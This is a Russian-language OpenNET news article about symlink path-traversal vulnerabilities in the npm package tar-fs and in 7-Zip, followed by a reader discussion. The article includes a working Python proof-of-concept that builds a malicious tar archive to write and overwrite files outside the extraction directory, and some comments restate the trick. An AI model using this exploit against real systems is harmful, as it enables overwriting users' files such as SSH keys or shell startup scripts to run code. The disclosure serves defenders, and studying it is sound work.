The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога

18.08.2025 10:36

В NPM-пакете tar-fs выявлена уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы ".ssh/id_rsa" или ".bashrc" в домашнем каталоге пользователя.

Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.

Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива ("."), а вторая создаётся относительно первой символической ссылки и использует в имени символы "../" для выхода за пределы базового каталога. Например, первая ссылка "noop/noop/noop" указывает на ".", а вторая "noop/noop/noop/../../../" раскрывается как "./../../../". Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.


import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
    root = tarfile.TarInfo("root")
    root.linkname = ("noop/" * 15) + ("../" * 15)
    root.type = tarfile.SYMTYPE
    tar.addfile(root)
    noop = tarfile.TarInfo("noop")
    noop.linkname = "."
    noop.type = tarfile.SYMTYPE
    tar.addfile(noop)
    hard = tarfile.TarInfo("hardflag")
    hard.linkname = "root/home/username/flag/flag"
    hard.type = tarfile.LNKTYPE
    tar.addfile(hard)
    content = b"overwrite\n"
    overwrite = tarfile.TarInfo("hardflag")
    overwrite.size = len(content)
    overwrite.type = tarfile.REGTYPE
    tar.addfile(overwrite, fileobj=io.BytesIO(content))
    content = b"new!\n"
    newfile = tarfile.TarInfo("root/home/username/flag/newfile")
    newfile.size = len(content)
    newfile.type = tarfile.REGTYPE
    tar.addfile(newfile, fileobj=io.BytesIO(content))

Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность "../" в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar. Проблема устранена в версии 7-Zip 25.01.

  1. Главная ссылка к новости (https://github.com/google/secu...)
  2. OpenNews: Уязвимость в Python-модуле TarFile, допускающая запись в любые части ФС
  3. OpenNews: Уязвимость в KDE Ark, позволяющая перезаписать файлы при открытии архива
  4. OpenNews: Уязвимость в unrar, позволяющая перезаписать файлы при распаковке архива
  5. OpenNews: Уязвимость Zip Slip, затрагивающая библиотеки для распаковки архивов
  6. OpenNews: Уязвимость в GNU tar, позволяющая перезаписать сторонние файлы
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/63740-tar-fs
Ключевые слова: tar-fs, 7-zip, npm
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (55) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.2, Аноним (2), 11:07, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    А это нормально, когда уязвимость в  NPM, а в качестве примера код на python ?
     
     
  • 2.10, Аноним (10), 11:45, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +8 +/
    код, подготавливающий проблемный файл, может быть на любом языке
     
  • 2.13, Аноним (13), 12:15, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • –4 +/
    Эт че, в NPM опять что то корявое выложили?
    Они там концептуально не обучаемые походу, эти NPM-щики.
     
     
  • 3.28, Аноним (28), 13:48, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Косяки с разбором путей и симлинков во всех языках встречаются, особенно часто в либах на Cи, NPM тут не причем. Кстати, прям в этой же новости - в 7zip тоже npm виноват?
     
  • 2.48, попамира (?), 18:55, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Так питон это как npm, только работает лучше. Если бы в мире не было столько фронт раззработчиков ноджс и не появился бы никогда, но природа берёт своё.
     
     
  • 3.74, Аноним (-), 10:52, 19/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Так питон это как npm, только работает лучше.

    В смысле, тормозит в разы злее, память жрет и совместимость все время ломают?

    > Если бы в мире не было столько фронт раззработчиков ноджс и не появился бы
    > никогда, но природа берёт своё.

    Питон вообще ни для чего нормально не годится. Хотя, вот, макеты программ нормально делать. Чтобы потом переписать на более приличном - если идея не совсем отстой.

     

  • 1.3, Аноним (3), 11:09, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +16 +/
    Нужен язык для безопасной работы с символическими ссылками.
     
     
  • 2.14, Аноним (13), 12:16, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    как насчет RUST?
    там у них есть unsafe!
    есть что возразить?
     
     
  • 3.17, Аноним (17), 12:33, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Так а кто там проверяет символические ссылки, чекер боровов проверяет?
     
     
  • 4.45, Анонимъ (?), 17:41, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • –2 +/
    В std::fs есть штатный нормализатор путей, ресольвящий ссылки.
     
     
  • 5.52, Аноним (52), 19:39, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    И?...  Есть - не значит: обязано быть использовано.
     
     
  • 6.67, User (??), 07:51, 19/08/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 5.71, Аноним (-), 08:50, 19/08/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > В std::fs есть штатный нормализатор путей, ресольвящий ссылки.

    А в нем CVE нет? Кто-то проверял? А то прошлый раз CVE в стдлибе хpyстa как раз и был, правда, только для винды. Но все равно забавно.

     
  • 5.73, Аноним (28), 09:33, 19/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Так и в nodejs тоже есть, но тут CVE в другом - архив был сделан специально так, чтобы выйти за пределы папки распаковки.
     
  • 3.22, Аноним (22), 12:55, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Надо запрос разработчикам запилить. Что бы добавили в язык безопасность работы с символическими ссылками.
     
  • 3.32, Аноним (32), 14:08, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    в расте ссылки проверятся на этапе компиляции с zero-cost ценой.
     
     
  • 4.35, Аноним (35), 14:58, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Ну дык... Плюсовый llvm же
     
  • 3.65, fedor (??), 23:19, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    на низкую культуру производства ни один инструмент повлиять не в силах.
    в норм проектах будут делать статический аудит пакетов, остальные хорошее всё равно не напишут.
     
  • 2.27, Аноним (27), 13:22, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    chroot
     
  • 2.61, cheburnator9000 (ok), 20:51, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Не нужен правильный язык, программисты и на Rust допустят такие ошибки.
    Нужно проверять в каком каталоге создается каждый файл/каталог.
    Архив по сути распаковывается только в указанный каталог.
    Если пользователь указал /usr значит это и будет верхний каталог распаковки.

     

  • 1.4, Аноним (4), 11:18, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –5 +/
    Почему программисты тупо не умеют работать с ../../ ? Что сложного, а?
     
     
  • 2.5, Аноним (35), 11:18, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Ты тоже не умеешь
     
  • 2.6, Аноним (6), 11:20, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • –4 +/
    Важное уточнение - программисты яваскрипт.
     
     
  • 3.23, Аноним (23), 13:01, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Не знал, что 7-zip написан на яваскрипт.
     
     
  • 4.72, Аноним (-), 08:54, 19/08/2025 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Не знал, что 7-zip написан на яваскрипт.

    Вот такой вот хреновый яваскрипт :)

     
  • 2.39, Аноним (39), 16:05, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +3 +/
    в смысле не умеют, там же все корректно обрабатывается и файлик кладется ровно по тому пути по которому указали, в чем проблема, я никак не пойму :)
     

  • 1.9, Аноним (9), 11:41, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Интернет система , ой у нас уязвимость мы вышли за пределы интернета. Собираем на мак с помощью linux /.../.../.../ , ой а чё это мы собираем linux библиотеки на мак , опять вышли за пределы эипла. Вот на что похожи эти новости
     
     
  • 2.15, Аноним (13), 12:19, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Есть хороший лайфхак по генерированию "новостей" - смотришь в NPM репах с чем там они на этой неделе обосрались, и у тебя куча контента.
    Если не прокатило - вспоминаем, что в NPM теперь можно подключать сторонние репы, и далее переходим к пункту 1.
     

  • 1.12, Аноним (13), 12:13, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Господа, так может следует сначала просто определиться, разрешено ли вообще архиватору распаковывать файлы куда угодно, кроме того каталога в котором лежит файл (естественно при наличии соотвествующих прав доступа в файловой системе). А именно это я прочитал в новости - "в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка"

    Например достопочтенный гуевый винрар (как и 7zip), позволяют пользователю вручную указать директорию для распаковки (пока не учитываем "специально подготовленные архивы" с кривыми путями) - вот это хорошо или плохо?
    Может вопрос-то просто в корявой обработке путей архиваторами?

     
     
  • 2.16, Аноним (16), 12:29, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Я могу положить внутрь архива символическую ссылку с путём "nop" и содержимым ".", а следом за ней ещё одну символическую ссылку "yousuckatparsingsymlinks" с содержимым "nop/nop/nop/..". Всё, теперь следующий файл кладём с путём "yousuckatparsingsymlinks/outoffolder", и при распаковке он окажется снаружи папки, куда ты распаковывал архив. Проблема элементарная - забыли в режиме ограничения пути распаковки (по дефолту tar позволяет любые пути в нём записать, что удобно для тех же обновлений системы) разыменовывать содержимое симлинков и проверять уже реальный путь, куда они будут указывать. Тут даже парсер переписывать не надо - только readlink делать при встрече любой симлинки.
     
     
  • 3.19, Аноним (16), 12:38, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Я так прикинул, в симлинках же можно любой путь указать, в том числе абсолютный "/tmp" или "/etc". Если не проверяется реальный путь с подставлением содержимого симлинки, то наверное не проверяется и то, что в симлинке лежит абсолютное перенаправление, которым можно сразу попасть в нужную часть FS.
     
  • 3.46, Смузихлеб забывший пароль (?), 17:42, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > по дефолту tar позволяет любые пути в нём записать,
    > что удобно для тех же обновлений системы

    Какая-то очень странная фича для штуковины, основная суть которой - гору разрозненного барахла объединять в один файл для более шустрого и качественного дальнейшего сжатия

     
     
  • 4.55, Аноним (52), 19:50, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    "Это же линукс..."
     
  • 2.34, ptr (ok), 14:55, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    chroot
     
  • 2.40, Аноним (39), 16:08, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Может вопрос-то просто в корявой обработке путей архиваторами?

    почему в корявой? передал путь в функцию file_move (условно из tmp в указанный путь) и все, какие притензии к архиватору?

     
  • 2.42, Аноним (42), 16:48, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > разрешено ли вообще архиватору распаковывать файлы куда угодно, кроме того каталога в котором лежит файл

    nc 192.0.2.1 8080 | 7z …

    В каком каталоге лежит распаковываемый файл?

     

  • 1.21, Анон1110м (?), 12:49, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Вот почему я предпочитаю ACE.
     
     
  • 2.24, Аноним (-), 13:09, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Что такое ACE?
     
  • 2.29, Аноним (29), 13:48, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    тетя Ася плохого не посоветует
     
  • 2.33, dannyD (?), 14:21, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >>Вот почему я предпочитаю ACE.

    у себя дома можно предпочитать все что хочешь - хоть хомячков, хоть няшных котигов.

    но и ногда из лесу приходится брать диких животных.

     
  • 2.36, Perlovka (ok), 15:03, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Настоящие гигачады используют ARJ
     
     
  • 3.37, Аноним (28), 15:16, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    А что не ARC или LHA?
     
     
  • 4.50, Аноним (50), 19:29, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Только AIN, только хардкор!
     
     
  • 5.56, Аноним (52), 19:53, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Хардкор это кю ("*.Q")
     
     
  • 6.62, Tron is Whistling (?), 22:03, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +2 +/
    .Q вряд ли кто-то застал, а вот .ZOO уже должны помнить
     
  • 6.63, Tron is Whistling (?), 22:03, 18/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Хотя конечно да, первый раз встретить файл .EQE - было интересно.
     
  • 6.70, Аноним (-), 08:45, 19/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Хардкор это кю ("*.Q")

    Тю, это для дилетантов. Вот попробуй .mpq без встроенного (filelist) вообще распаковать. Сразу распаковка становится таким интересным занятием :)

     

  • 1.58, Аноним (52), 20:00, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В WinRAR схожую дыру как то наблюдал, не знаю тоже через файловые ссылки или же прямо задав что то вроде "c:\windows\...", но было как то.
     
  • 1.60, Аноним (-), 20:02, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/



    import tarfile
    import io
    with tarfile.open("poc.tar", mode="x") as tar:
        root = tarfile.TarInfo("root")
        root.linkname = ("noop/" * 15) + ("../" * 15)
        root.type = tarfile.SYMTYPE
    ...



    Какой-то странный ноджыэс.
     
  • 1.64, Аноним (64), 22:48, 18/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    На линуксе нет программ, которые не используют при установке sudo.
    Б - безопасность!
     
     
  • 2.66, SubGun (ok), 07:19, 19/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Справедливости ради, пакетные менеджеры как раз не используют sudo для установки пакетов.
     
  • 2.69, Аноним (-), 08:43, 19/08/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > На линуксе нет программ, которые не используют при установке sudo.

    Да, Вы правы, если непривилегированный пользак может ставить всякую дрянь и это потом еще и запускается - с безопасностью в системе и правда - не очень.

     

  • 1.68, Аноним (-), 08:41, 19/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Старая грабля. По прежнему работает безупречно, smashed_heads++.
     
  • 1.75, Аноним (75), 11:19, 19/08/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Кажется только недавно точно такая же уязвимость была в WinRAR?
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру